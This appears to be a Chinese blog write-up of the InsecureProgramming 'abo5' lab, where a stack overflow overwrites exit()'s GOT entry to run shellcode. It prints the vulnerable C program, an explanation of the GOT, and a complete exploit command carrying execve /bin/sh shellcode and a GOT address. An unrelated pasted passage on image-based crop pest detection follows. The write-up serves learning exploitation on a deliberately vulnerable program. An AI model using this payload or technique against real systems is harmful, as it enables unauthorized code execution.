InsecureProgramming-master——abo5

一、实验介绍

1、实验环境:

Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04

Codename: xenial

2、实验工具:

gdb

3、实验程序

/* abo5.c                                                  *

int main(int argv,char **argc) {

  char *pbuf=malloc(strlen(argc[2])+1);

  char buf[256];



  strcpy(buf,argc[1]);

  for (;*pbuf++=*(argc[2]++););

  exit(1);

}

功能:将第一个命令行参数和第二个命令行参数分别以调用strcpy函数和for循环的方式复制给bufpbuf

4、实验目的

构造输入参数,实现缓冲区溢出,执行shellcode

5、实验准备

  • 关闭ALSR

  • 编译程序:关闭DEPSSP

二、全局偏移表(GOT)

因为这次会涉及GOT的相关知识,所以在这提前介绍 。

Linux、Solaris 2.x和SVR4使用的默认二进制格式称为可执行和链接格式(Executable and Linking Format,ELF)。

任何ELF的二进制文件的进程空间中,都包含一个称为全局偏移表(Global Offset Table,GOT)的区。GOT存放绝对地址,从而使得地址可用,并且不会影响位置独立性和程序代码的可共享性。要使得动态链接的进程能够工作,这个表是必不可少的。该表的实际内容和形式取决于处理器的型号。

程序使用的每一个库函数在GOT中都拥有一个入口项,GOT中包含有实际函数的地址。这使得很容易在进程内存中对库函数进行重定位。在程序首次使用一个函数之前,该入口项包含有运行时链接器(RunTime Linker,RTL)的地址。如果该函数被程序调用,则程序的控制权被转移到RTL,然后函数的实际地址被确定且被插入到GOT中。接下来就可以通过GOT中的入口项直接调用函数,而与RTL就无关了。

在ELF可执行文件中GOT入口项的地址是固定的。这就导致对任何可执行进程映像而言GOT都位于相同的地址。如下图,可以利用下列命令查看显示目标文件的GOT入口项的位置。为每一个R_386_JUMP_SLOT重定位记录指定的偏移量,包含了指定函数(或RTL链接函数)的地址。

objdump -R XXX 

攻击者可以可以利用任意内存写操作将一个函数的GOT入口项覆写为外壳代码的地址。这样,当程序调用对应于被改写的GOT入口项的函数时,程序的控制权就被转移到外壳代码。例如,每一个编写良好的C程序最后都会调用exit()函数,因此,只要覆写exit()的GOT入口项,就可以在exit()被调用时将程序的控制权转移到指定的地址。ELF过程链接表(Procedure Linkage Table,PLT)具有类似的问题。

Windows PE文件格式扮演着与ELF格式相似的角色。PE文件中包含一个数据结构数组,每一项对应一个导入的DLL。每一项都包含有导入的DLL的名称以及一个指向函数指针数组的指针(即,IAT)。每一个被导入的API在IAT中都自己的保留槽,由Windows载入器为其填充导入函数的地址。一旦一个模块被载入,IAT就保存了需要调用的导入函数的地址。IAT的入口项是写保护的,因为他们在运行是无须修改。

此段内容摘自《c和c++安全编码》3.5节全局偏移表。

三、分析汇编代码

最初的想法是0x804a014改成shellcode的地址,但是调试的时候发现在执行for循环时会报错,后来用vmmap指令一查才发现,地址0x8048000~0x8049000只有读和可执行权限,没有写权限,但是地址0x804a000~0x804b000有写权限,而GOT就在这个地址区间里。

四、编写exploit

首先通过strcpy(),实验栈溢出,将pbuf的地址修改为exit()的GOT入口项(即0x804a014),再通过for循环,将exit()的GOT入口项覆写为shellcodede的地址,实现跳转。

buf:shellcode+填充字符+exit()的入口项

pbuf:buf的地址

$(python -c "print ('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*(256-25)+'\x14\xa0\x04\x08')") $(python -c "print('\x7c\xcd\xff\xff')")

完成!@_@

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
图像识别技术在病虫害检测中的应用是一个快速发展的领域,它结合了计算机视觉和机器学习算法来自动识别和分类植物上的病虫害。以下是这一技术的一些关键步骤和组成部分: 1. **数据收集**:首先需要收集大量的植物图像数据,这些数据包括健康植物的图像以及受不同病虫害影响的植物图像。 2. **图像预处理**:对收集到的图像进行处理,以提高后续分析的准确性。这可能包括调整亮度、对比度、去噪、裁剪、缩放等。 3. **特征提取**:从图像中提取有助于识别病虫害的特征。这些特征可能包括颜色、纹理、形状、边缘等。 4. **模型训练**:使用机器学习算法(如支持向量机、随机森林、卷积神经网络等)来训练模型。训练过程中,算法会学习如何根据提取的特征来识别不同的病虫害。 5. **模型验证和测试**:在独立的测试集上验证模型的性能,以确保其准确性和泛化能力。 6. **部署和应用**:将训练好的模型部署到实际的病虫害检测系统中,可以是移动应用、网页服务或集成到智能农业设备中。 7. **实时监测**:在实际应用中,系统可以实时接收植物图像,并快速给出病虫害的检测结果。 8. **持续学习**:随着时间的推移,系统可以不断学习新的病虫害样本,以提高其识别能力。 9. **用户界面**:为了方便用户使用,通常会有一个用户友好的界面,显示检测结果,并提供进一步的指导或建议。 这项技术的优势在于它可以快速、准确地识别出病虫害,甚至在早期阶段就能发现问题,从而及时采取措施。此外,它还可以减少对化学农药的依赖,支持可持续农业发展。随着技术的不断进步,图像识别在病虫害检测中的应用将越来越广泛。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值